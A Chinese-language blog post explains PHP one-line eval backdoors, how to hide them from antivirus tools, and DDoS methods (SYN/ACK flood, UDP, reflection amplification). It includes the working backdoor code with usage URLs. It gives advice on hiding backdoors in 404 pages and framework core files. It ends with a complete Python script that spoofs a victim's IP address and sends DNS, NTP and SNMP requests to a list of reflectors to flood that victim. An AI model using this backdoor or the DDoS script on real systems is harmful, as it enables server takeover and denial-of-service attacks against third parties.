更新时间: 2018-08-17 17:15:29       分类: web开发


PHP一句话后门

基础知识

  1. PHP

    世界上最受欢迎的web开发语言之一,具有灵活、轻巧等特点,使用PHP开发一个网站迅速、方便,因此互联网上存在着大量使用PHP开发的动态站点。

  2. PHP服务器运行结构

    使用PHP作为主要开发语言的web站点,其服务端架构一般包含一个HTTP应用服务器(nginx或apache),一个PHP引擎,以及CGI动态链接模块。

    一次完整的用户请求-响应流程,如下图所示:

  3. HTTP协议

    绝大多数的站点使用HTTP协议来和用户进行数据的交换。而后门的使用,也正是基于HTTP协议来生成攻击,因此我们必须先了解HTTP协议的一些相关细节。

    总的来说,HTTP是一种相对简单的网络数据交换协议,客户端和服务端通过交换HTTP报文来进行“请求-响应”的数据交换,一个普通的HTTP报文结构包含:

    * 请求方法:GET, POST, DELETE, OPTIONS 等 * 请求头部:一系列的Key-Value数据对,用来记录请求/响应的相关内容,如服务器版本,数据编码格式等等 * 请求体:用户和服务器真正需要交换的数据内容。

    下图为一个完整的http报文结构:

什么是后门?

web后门一般是指,通过特殊手段(或者由工程师预留的)注入在服务器上的一段代码,利用这段代码可以获取web服务器的控制权。

以PHP最经典的一句话后门举例:

<?php @eval($_GET[‘key’]);?>

eval()函数可以将接受的参数当做PHP代码解析,从而能够实现任意代码的执行。

如何使用这段后门?

假设我们成功将这个后门文件写入t.php,并成功上传到服务器a.com上,那么我们将可以使用http://a.com/t.php来访问到这个后门。

接下来只要将想要执行的代码注入参数key,直接访问就可以,例如发送如下的请求:

http://a.com/t.php?key=echo('You are hacked.')

那么被注入了后门的服务器将会执行echo('You are hacked.')这段php代码,并最终打印You are hacked.

后门攻击的难点

由上面的分析可以发现,创建一个后门并不需要多大的功夫,网上也有诸多现成的后门文件可供选择,实际上想要使用后门进行黑客工具,主要的难点有两个:

下面展开讨论这两点。

免杀:构建后门的艺术

这是第一个难点,首先,将后门文件上传到服务器有很多方式,如HTTP请求拦截、伪装,文件后缀隐藏,或是利用一些文件传输协议的漏洞等,方法很多,可以根据不同的场景合理的选择。

重要的是,大部分的安全软件对于一些简单的后门,能够根据特征非常快速精准地识别,并进行查杀,因此即使能够成功的上传,后门也无法正常的运作。

因此需要对后门进行伪装处理,而这需要我们首先了解安全软件拦截后门攻击的方式。

后门攻击的流程其实主要分为两步,第一步是上传后门文件,第二步是对后门文件发送恶意代码执行。

因此安全软件拦截后门攻击也主要分为两步:

隐藏后门特征

PHP一句话后门最常见的方式是通过eval(),assert()函数,这也是最常见的被用来识别后门的特征,所以可以将这些函数的执行方式进行包装、绕过:

潜伏和隐藏

  1. 读取远程文件

    简单粗暴,但很容易被发现,目前很多基于JS的攻击常常采用这种方式

    实例:

     <?phpif($_POST['token'] == 'sofia'){require 'home/wwwlogs/access.log';}
    	
    
  2. 将后门隐藏在不常用的文件里

    - 404 文件,一般由框架自动生成,很少有人会注意到 - 框架核心代码文件,加入后隐藏好文件的修改时间,只要框架不升级或者修改就很难被发现 - 创建额外的类或者函数,分离后门代码,在核心文件中写一个类或者方法,在调用了该文件的地方实例化执行后门,隐蔽性会强很多

DDOS攻击原理与手段

DDOS定义

DDOS是Distributed Denial of Service的缩写,中文全称为分布式拒绝服务攻击。

指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高拒绝服务攻击的威力。

举一个最简单而又具体的例子:

双十一淘宝秒杀,或是春运期间12306抢票,都会有明显的服务卡顿现象,这就是因为同时申请访问资源的用户太多,导致服务器性能耗尽,无法正常响应。

DOS,或者更进一步的DDOS,就是通过人为手段伪造出大量的不合理请求,抢尽服务器的资源,使其他正常用户的请求得不到响应,破坏服务的可用性。

DDOS攻击原理

将问题回归到本质,DOS就是制造了数量巨大的客户端连接。

“在短时间内伪造出大量的有效客户端连接”,这既是DDOS攻击的要点所在。为了能够实现这一点,我们必须从底层的网络协议入手。

基于TCP协议

TCP协议是传输层最为常见的数据通讯协议,作为一个可靠的通讯协议,TCP协议在启动一次连接前,会进行“三次握手”,这正是DDOS攻击可以利用的地方。

“三次握手”的流程如下图所示:

攻击方式1: SYN FLOOD

攻击者通过伪造IP 报文,在IP报文的原地址字段随机填入伪造的IP地址,目的地址填入 要攻击的服务器IP地址,其他TTL、ID 以及TCP中的Source Port等随机填入合理数据,TCP的目的端口填入目的服务器开放的 端口 如:80、8080等,syn标志位置 1。然后通过不停的循环讲伪造好的数据包发送 到目的服务器。

服务器端不得不建立许多“半开”的虚假连接,在利用大量肉鸡主机的情况下可以迅速耗尽普通服务器的连接池,导致宕机。

攻击方式2: ACK FLOOD

这是利用三次握手的第二段发起的攻击,正常情况下服务器接收到ACK = 1的TCP报文时,需要查看自己的TCP连接表中是否记录了对方的套接字,如果记录了,就返回第三次握手,如果没有记录,就拒绝对方的连接。

攻击者通过大量的伪造ACK = 1的报文,让服务器端不断的查找自己的TCP连接表,造成巨大的性能损耗,最终CPU资源耗尽无法正常响应。

基于UDP协议

相比于TCP,UDP是一种更轻量的传输协议,利用UDP协议进行的攻击的要点是:UDP数据包不限制体积大小。

利用这一特点,可以利用UDP打出极高流量的DDOS攻击(几G~几十G),占尽服务器的带宽,重则直接导致网络瘫痪。

DDOS进阶手段

反射型DDOS

目前大多数的DDOS攻击思路是制造巨大的网络流量使网络带宽不足甚至瘫痪。

那么如何制造出如此巨大的流量呢?

假设你手头没有数量巨大的肉鸡,又没有良好的外网带宽,如何实现这一目标?

实际上,可以利用“反射”来实现流量的放大。所谓反射,就是设法使用一个小流量的请求换取一个大流量的响应,然后使其转向攻击的目标。

举例如下图所示:

常用的放大手段包括:

可以通过扫描端口等方式找到能够提供上述服务的主机作为反射工具,放大流量。

一些新型DDOS手段

  1. 利用xss + web socket 实现ddos攻击

  2. 临时透镜攻击:一种延时攻击形式,可以实现“以时间换数量”,具体思路可见下面的示意图:

DDOS脚本实验

下面是一个利用指定服务列表,进行反射DDOS攻击的Python脚本

#!/usr/bin/python
#-*-coding:utf-8-*-

import socket
import struct
import random
import threading

class myThread (threading.Thread):   
    def __init__(self,srcip,srcport):
        threading.Thread.__init__(self)	 
        self.srcip = srcip
        self.srcport =srcport
		 
    def run(self):                    
        re_att(self.srcip,self.srcport)

def checksum(data):
    s = 0
    n = len(data) % 2
    for i in range(0, len(data)-n, 2):
        s+= ord(data[i]) + (ord(data[i+1]) << 8)
    if n:
        s+= ord(data[i+1])
    while (s >> 16):
        s = (s & 0xFFFF) + (s >> 16)
    s = ~s & 0xffff
    return s

def IP(source,destination,udplen):
	version = 4
	ihl = 5
	tos = 0
	tl = 20+udplen
	ip_id = random.randint(1,65530)
	flags = 0 
	offset = 0
	ttl = 128
	protocol =17
	check =0
	source = socket.inet_aton(source)
	destination = socket.inet_aton(destination)

	ver_ihl = (version << 4)+ihl
	flags_offset = (flags << 13)+offset
	ip_header = struct.pack("!BBHHHBBH4s4s",
                    ver_ihl,
                    tos,
                    tl,
                    ip_id,
                    flags_offset,
                    ttl,
                    protocol,
                    check,
                    source,
                    destination)
	check=checksum(ip_header)
	ip_header = struct.pack("!BBHHHBBH4s4s",
                    ver_ihl,
                    tos,
                    tl,
                    ip_id,
                    flags_offset,
                    ttl,
                    protocol,
                    socket.htons(check),
                    source,
                    destination)  
	return ip_header

def udp(sp,dp,datalen):
	srcport=sp
	dstport=dp
	udplen=8+datalen
	udp_checksum=0
	udp_header = struct.pack("!HHHH",srcport,dstport,udplen,udp_checksum)
	return udp_header


def re_att(srcip,srcport):
	NTP_data='12'
	DNS_data='\x9c'+'\x3d'+'\xcf'+'\x04'+'\xad'+'\x05'+'\xfc'+'\xaa'+'\x14'+'\x91'+'\x0f'+'\x81'+'\x08'+'\x00'+'\x45'+'\x00'+\
'\x00'+'\x37'+'\x5b'+'\x4d'+'\x00'+'\x00'+'\x40'+'\x11'+'\x9c'+'\x14'+'\xc0'+'\xa8'+'\x01'+'\x03'+'\xc0'+'\xa8'+\
'\x01'+'\x01'+'\xf5'+'\x27'+'\x00'+'\x35'+'\x00'+'\x23'+'\x20'+'\x60'+'\x1c'+'\x73'+'\x01'+'\x00'+'\x00'+'\x01'+\
'\x00'+'\x00'+'\x00'+'\x00'+'\x00'+'\x00'+'\x05'+'\x79'+'\x61'+'\x68'+'\x6f'+'\x6f'+'\x03'+'\x63'+'\x6f'+'\x6d'+\
'\x00'+'\x00'+'\xff'+'\x00'+'\x01'
	SNMP_data='23'

	n=len(ipaddr)-1
	while 1:
		i=random.randint(0,n)
		ip_port=ipaddr[i]
		dstip=ip_port[0]
		dstport=int(ip_port[1])
		if dstport==123:
			data=NTP_data
		elif dstport==53:
			print 'enter dns service....'
			data=DNS_data
		elif dstport==161:
			data=SNMP_data
		else:
			print 'dest port error!'
		datalen=len(data)
		udp_header=udp(srcport,dstport,datalen)
		ip_header=IP(srcip,dstip,len(udp_header)+datalen)
		ip_packet=ip_header+udp_header+data
		print ip_packet
		print (dstip,dstport)
		s.sendto(ip_packet,(dstip,dstport))

proto_udp=17
proto_tcp=6
s = socket.socket(socket.AF_INET,socket.SOCK_RAW,17)
s.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1)
ipaddr=[]
f = open("ipaddress.txt","r")
lines=f.readlines()
for line in lines:
	line=line.strip('\r\n')
	l=line.split(',')
	ipaddr.append(l)

srcip=raw_input('attack IP:')
srcport=int(input('attack PORT:'))
threads=int(input("线程数threads:"))

threads_name=[]
need=(srcip,srcport)	
for i in range(threads):
	threads_name.append('teread'+str(i))

for i in range(threads):	
	threads_name[i]=myThread(srcip,srcport)

for i in range(threads):
	threads_name[i].start()

评论

还没有评论